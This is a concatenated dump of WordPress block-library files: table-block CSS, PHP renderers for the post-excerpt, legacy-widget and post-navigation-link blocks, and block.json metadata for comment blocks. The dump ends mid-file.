  border:1px solid;
  padding:.5em;
}
.wp-block-table td.is-selected,.wp-block-table th.is-selected{
  border-color:var(--wp-admin-theme-color);
  border-style:double;
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{
  border:1px solid;
}

.blocks-table__placeholder-form.blocks-table__placeholder-form{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
@media (min-width:782px){
  .blocks-table__placeholder-form.blocks-table__placeholder-form{
    align-items:flex-end;
    flex-direction:row;
  }
}

.blocks-table__placeholder-input{
  width:112px;
}.wp-block-table{
  overflow-x:auto;
}
.wp-block-table table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-table thead{
  border-bottom:3px solid;
}
.wp-block-table tfoot{
  border-top:3px solid;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table .has-fixed-layout{
  table-layout:fixed;
  width:100%;
}
.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{
  word-break:break-word;
}
.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{
  display:table;
  width:auto;
}
.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{
  word-break:break-word;
}
.wp-block-table .has-subtle-light-gray-background-color{
  background-color:#f3f4f5;
}
.wp-block-table .has-subtle-pale-green-background-color{
  background-color:#e9fbe5;
}
.wp-block-table .has-subtle-pale-blue-background-color{
  background-color:#e7f5fe;
}
.wp-block-table .has-subtle-pale-pink-background-color{
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes{
  background-color:initial;
  border-bottom:1px solid #f0f0f0;
  border-collapse:inherit;
  border-spacing:0;
}
.wp-block-table.is-style-stripes tbody tr:nth-child(odd){
  background-color:#f0f0f0;
}
.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){
  background-color:#f3f4f5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){
  background-color:#e9fbe5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){
  background-color:#e7f5fe;
}
.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{
  border-color:#0000;
}
.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{
  border-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{
  border-top-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:not(:first-child){
  border-top-color:initial;
}
.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{
  border-right-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{
  border-bottom-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){
  border-bottom-color:initial;
}
.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{
  border-left-color:inherit;
}
.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{
  border-style:inherit;
}
.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{
  border-style:inherit;
  border-width:inherit;
}.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column;gap:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}}.blocks-table__placeholder-input{width:112px}.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:#ffffffa6}.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{
  width:auto;
}
.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{
  word-break:break-word;
}
.wp-block[data-align=center]>.wp-block-table{
  text-align:initial;
}
.wp-block[data-align=center]>.wp-block-table table{
  margin:0 auto;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table td.is-selected,.wp-block-table th.is-selected{
  border-color:var(--wp-admin-theme-color);
  border-style:double;
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{
  border:1px solid;
}

.blocks-table__placeholder-form.blocks-table__placeholder-form{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
@media (min-width:782px){
  .blocks-table__placeholder-form.blocks-table__placeholder-form{
    align-items:flex-end;
    flex-direction:row;
  }
}

.blocks-table__placeholder-input{
  width:112px;
}.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}.wp-block-table{
  overflow-x:auto;
}
.wp-block-table table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-table thead{
  border-bottom:3px solid;
}
.wp-block-table tfoot{
  border-top:3px solid;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table .has-fixed-layout{
  table-layout:fixed;
  width:100%;
}
.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{
  word-break:break-word;
}
.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{
  display:table;
  width:auto;
}
.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{
  word-break:break-word;
}
.wp-block-table .has-subtle-light-gray-background-color{
  background-color:#f3f4f5;
}
.wp-block-table .has-subtle-pale-green-background-color{
  background-color:#e9fbe5;
}
.wp-block-table .has-subtle-pale-blue-background-color{
  background-color:#e7f5fe;
}
.wp-block-table .has-subtle-pale-pink-background-color{
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes{
  background-color:initial;
  border-bottom:1px solid #f0f0f0;
  border-collapse:inherit;
  border-spacing:0;
}
.wp-block-table.is-style-stripes tbody tr:nth-child(odd){
  background-color:#f0f0f0;
}
.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){
  background-color:#f3f4f5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){
  background-color:#e9fbe5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){
  background-color:#e7f5fe;
}
.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{
  border-color:#0000;
}
.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{
  border-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{
  border-top-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:not(:first-child){
  border-top-color:initial;
}
.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{
  border-left-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{
  border-bottom-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){
  border-bottom-color:initial;
}
.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{
  border-right-color:inherit;
}
.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{
  border-style:inherit;
}
.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{
  border-style:inherit;
  border-width:inherit;
}<?php
/**
 * Server-side rendering of the `core/post-excerpt` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-excerpt` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Returns the filtered post excerpt for the current post wrapped inside "p" tags.
 */
function render_block_core_post_excerpt( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	/*
	* The purpose of the excerpt length setting is to limit the length of both
	* automatically generated and user-created excerpts.
	* Because the excerpt_length filter only applies to auto generated excerpts,
	* wp_trim_words is used instead.
	*/
	$excerpt_length = $attributes['excerptLength'];
	$excerpt        = get_the_excerpt( $block->context['postId'] );
	if ( isset( $excerpt_length ) ) {
		$excerpt = wp_trim_words( $excerpt, $excerpt_length );
	}

	$more_text           = ! empty( $attributes['moreText'] ) ? '<a class="wp-block-post-excerpt__more-link" href="' . esc_url( get_the_permalink( $block->context['postId'] ) ) . '">' . wp_kses_post( $attributes['moreText'] ) . '</a>' : '';
	$filter_excerpt_more = static function ( $more ) use ( $more_text ) {
		return empty( $more_text ) ? $more : '';
	};
	/**
	 * Some themes might use `excerpt_more` filter to handle the
	 * `more` link displayed after a trimmed excerpt. Since the
	 * block has a `more text` attribute we have to check and
	 * override if needed the return value from this filter.
	 * So if the block's attribute is not empty override the
	 * `excerpt_more` filter and return nothing. This will
	 * result in showing only one `read more` link at a time.
	 */
	add_filter( 'excerpt_more', $filter_excerpt_more );
	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	$content               = '<p class="wp-block-post-excerpt__excerpt">' . $excerpt;
	$show_more_on_new_line = ! isset( $attributes['showMoreOnNewLine'] ) || $attributes['showMoreOnNewLine'];
	if ( $show_more_on_new_line && ! empty( $more_text ) ) {
		$content .= '</p><p class="wp-block-post-excerpt__more-text">' . $more_text . '</p>';
	} else {
		$content .= " $more_text</p>";
	}
	remove_filter( 'excerpt_more', $filter_excerpt_more );
	return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content );
}

/**
 * Registers the `core/post-excerpt` block on the server.
 */
function register_block_core_post_excerpt() {
	register_block_type_from_metadata(
		__DIR__ . '/post-excerpt',
		array(
			'render_callback' => 'render_block_core_post_excerpt',
		)
	);
}
add_action( 'init', 'register_block_core_post_excerpt' );

/**
 * If themes or plugins filter the excerpt_length, we need to
 * override the filter in the editor, otherwise
 * the excerpt length block setting has no effect.
 * Returns 100 because 100 is the max length in the setting.
 */
if ( is_admin() ||
	defined( 'REST_REQUEST' ) && REST_REQUEST ) {
	add_filter(
		'excerpt_length',
		static function () {
			return 100;
		},
		PHP_INT_MAX
	);
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comment-author-name",
	"title": "Comment Author Name",
	"category": "theme",
	"ancestor": [ "core/comment-template" ],
	"description": "Displays the name of the author of the comment.",
	"textdomain": "default",
	"attributes": {
		"isLink": {
			"type": "boolean",
			"default": true
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"usesContext": [ "commentId" ],
	"supports": {
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
<?php
/**
 * Server-side rendering of the `core/legacy-widget` block.
 *
 * @package WordPress
 */

/**
 * Renders the 'core/legacy-widget' block.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Rendered block.
 */
function render_block_core_legacy_widget( $attributes ) {
	global $wp_widget_factory;

	if ( isset( $attributes['id'] ) ) {
		$sidebar_id = wp_find_widgets_sidebar( $attributes['id'] );
		return wp_render_widget( $attributes['id'], $sidebar_id );
	}

	if ( ! isset( $attributes['idBase'] ) ) {
		return '';
	}

	$id_base       = $attributes['idBase'];
	$widget_key    = $wp_widget_factory->get_widget_key( $id_base );
	$widget_object = $wp_widget_factory->get_widget_object( $id_base );

	if ( ! $widget_key || ! $widget_object ) {
		return '';
	}

	if ( isset( $attributes['instance']['encoded'], $attributes['instance']['hash'] ) ) {
		$serialized_instance = base64_decode( $attributes['instance']['encoded'] );
		if ( ! hash_equals( wp_hash( $serialized_instance ), (string) $attributes['instance']['hash'] ) ) {
			return '';
		}
		$instance = unserialize( $serialized_instance );
	} else {
		$instance = array();
	}

	$args = array(
		'widget_id'   => $widget_object->id,
		'widget_name' => $widget_object->name,
	);

	ob_start();
	the_widget( $widget_key, $instance, $args );
	return ob_get_clean();
}

/**
 * Registers the 'core/legacy-widget' block.
 */
function register_block_core_legacy_widget() {
	register_block_type_from_metadata(
		__DIR__ . '/legacy-widget',
		array(
			'render_callback' => 'render_block_core_legacy_widget',
		)
	);
}

add_action( 'init', 'register_block_core_legacy_widget' );

/**
 * Intercepts any request with legacy-widget-preview in the query param and, if
 * set, renders a page containing a preview of the requested Legacy Widget
 * block.
 */
function handle_legacy_widget_preview_iframe() {
	if ( empty( $_GET['legacy-widget-preview'] ) ) {
		return;
	}

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		return;
	}

	define( 'IFRAME_REQUEST', true );

	?>
	<!doctype html>
	<html <?php language_attributes(); ?>>
	<head>
		<meta charset="<?php bloginfo( 'charset' ); ?>" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<link rel="profile" href="https://gmpg.org/xfn/11" />
		<?php wp_head(); ?>
		<style>
			/* Reset theme styles */
			html, body, #page, #content {
				padding: 0 !important;
				margin: 0 !important;
			}

			/* Hide root level text nodes */
			body {
				font-size: 0 !important;
			}

			/* Hide non-widget elements */
			body *:not(#page):not(#content):not(.widget):not(.widget *) {
				display: none !important;
				font-size: 0 !important;
				height: 0 !important;
				left: -9999px !important;
				max-height: 0 !important;
				max-width: 0 !important;
				opacity: 0 !important;
				pointer-events: none !important;
				position: absolute !important;
				top: -9999px !important;
				transform: translate(-9999px, -9999px) !important;
				visibility: hidden !important;
				z-index: -999 !important;
			}

			/* Restore widget font-size */
			.widget {
				font-size: var(--global--font-size-base);
			}
		</style>
	</head>
	<body <?php body_class(); ?>>
		<div id="page" class="site">
			<div id="content" class="site-content">
				<?php
				$registry = WP_Block_Type_Registry::get_instance();
				$block    = $registry->get_registered( 'core/legacy-widget' );
				echo $block->render( $_GET['legacy-widget-preview'] );
				?>
			</div><!-- #content -->
		</div><!-- #page -->
		<?php wp_footer(); ?>
	</body>
	</html>
	<?php

	exit;
}

// Use admin_init instead of init to ensure get_current_screen function is already available.
// This isn't strictly required, but enables better compatibility with existing plugins.
// See: https://github.com/WordPress/gutenberg/issues/32624.
add_action( 'admin_init', 'handle_legacy_widget_preview_iframe', 20 );
<?php
/**
 * Server-side rendering of the `core/post-navigation-link` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-navigation-link` block on the server.
 *
 * @param array  $attributes Block attributes.
 * @param string $content    Block default content.
 *
 * @return string Returns the next or previous post link that is adjacent to the current post.
 */
function render_block_core_post_navigation_link( $attributes, $content ) {
	if ( ! is_singular() ) {
		return '';
	}

	// Get the navigation type to show the proper link. Available options are `next|previous`.
	$navigation_type = isset( $attributes['type'] ) ? $attributes['type'] : 'next';
	// Allow only `next` and `previous` in `$navigation_type`.
	if ( ! in_array( $navigation_type, array( 'next', 'previous' ), true ) ) {
		return '';
	}
	$classes = "post-navigation-link-$navigation_type";
	if ( isset( $attributes['textAlign'] ) ) {
		$classes .= " has-text-align-{$attributes['textAlign']}";
	}
	$wrapper_attributes = get_block_wrapper_attributes(
		array(
			'class' => $classes,
		)
	);
	// Set default values.
	$format = '%link';
	$link   = 'next' === $navigation_type ? _x( 'Next', 'label for next post link' ) : _x( 'Previous', 'label for previous post link' );
	$label  = '';

	// Only use hardcoded values here, otherwise we need to add escaping where these values are used.
	$arrow_map = array(
		'none'    => '',
		'arrow'   => array(
			'next'     => '→',
			'previous' => '←',
		),
		'chevron' => array(
			'next'     => '»',
			'previous' => '«',
		),
	);

	// If a custom label is provided, make this a link.
	// `$label` is used to prepend the provided label, if we want to show the page title as well.
	if ( isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ) {
		$label = "{$attributes['label']}";
		$link  = $label;
	}

	// If we want to also show the page title, make the page title a link and prepend the label.
	if ( isset( $attributes['showTitle'] ) && $attributes['showTitle'] ) {
		/*
		 * If the label link option is not enabled but there is a custom label,
		 * display the custom label as text before the linked title.
		 */
		if ( ! $attributes['linkLabel'] ) {
			if ( $label ) {
				$format = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> %link';
			}
			$link = '%title';
		} elseif ( isset( $attributes['linkLabel'] ) && $attributes['linkLabel'] ) {
			// If the label link option is enabled and there is a custom label, display it before the title.
			if ( $label ) {
				$link = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> <span class="post-navigation-link__title">%title</span>';
			} else {
				/*
				 * If the label link option is enabled and there is no custom label,
				 * add a colon between the label and the post title.
				 */
				$label = 'next' === $navigation_type ? _x( 'Next:', 'label before the title of the next post' ) : _x( 'Previous:', 'label before the title of the previous post' );
				$link  = sprintf(
					'<span class="post-navigation-link__label">%1$s</span> <span class="post-navigation-link__title">%2$s</span>',
					wp_kses_post( $label ),
					'%title'
				);
			}
		}
	}

	// Display arrows.
	if ( isset( $attributes['arrow'] ) && 'none' !== $attributes['arrow'] && isset( $arrow_map[ $attributes['arrow'] ] ) ) {
		$arrow = $arrow_map[ $attributes['arrow'] ][ $navigation_type ];

		if ( 'next' === $navigation_type ) {
			$format = '%link<span class="wp-block-post-navigation-link__arrow-next is-arrow-' . $attributes['arrow'] . '" aria-hidden="true">' . $arrow . '</span>';
		} else {
			$format = '<span class="wp-block-post-navigation-link__arrow-previous is-arrow-' . $attributes['arrow'] . '" aria-hidden="true">' . $arrow . '</span>%link';
		}
	}

	/*
	 * The dynamic portion of the function name, `$navigation_type`,
	 * Refers to the type of adjacency, 'next' or 'previous'.
	 *
	 * @see https://developer.wordpress.org/reference/functions/get_previous_post_link/
	 * @see https://developer.wordpress.org/reference/functions/get_next_post_link/
	 */
	$get_link_function = "get_{$navigation_type}_post_link";

	if ( ! empty( $attributes['taxonomy'] ) ) {
		$content = $get_link_function( $format, $link, true, '', $attributes['taxonomy'] );
	} else {
		$content = $get_link_function( $format, $link );
	}

	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/post-navigation-link` block on the server.
 */
function register_block_core_post_navigation_link() {
	register_block_type_from_metadata(
		__DIR__ . '/post-navigation-link',
		array(
			'render_callback' => 'render_block_core_post_navigation_link',
		)
	);
}
add_action( 'init', 'register_block_core_post_navigation_link' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comments-pagination",
	"title": "Comments Pagination",
	"category": "theme",
	"parent": [ "core/comments" ],
	"allowedBlocks": [
		"core/comments-pagination-previous",
		"core/comments-pagination-numbers",
		"core/comments-pagination-next"
	],
	"description": "Displays a paginated navigation to next/previous set of comments, when applicable.",
	"textdomain": "default",
	"attributes": {
		"paginationArrow": {
			"type": "string",
			"default": "none"
		}
	},
	"providesContext": {
		"comments/paginationArrow": "paginationArrow"
	},
	"supports": {
		"align": true,
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"default": {
				"type": "flex"
			}
		},
		"typography": {
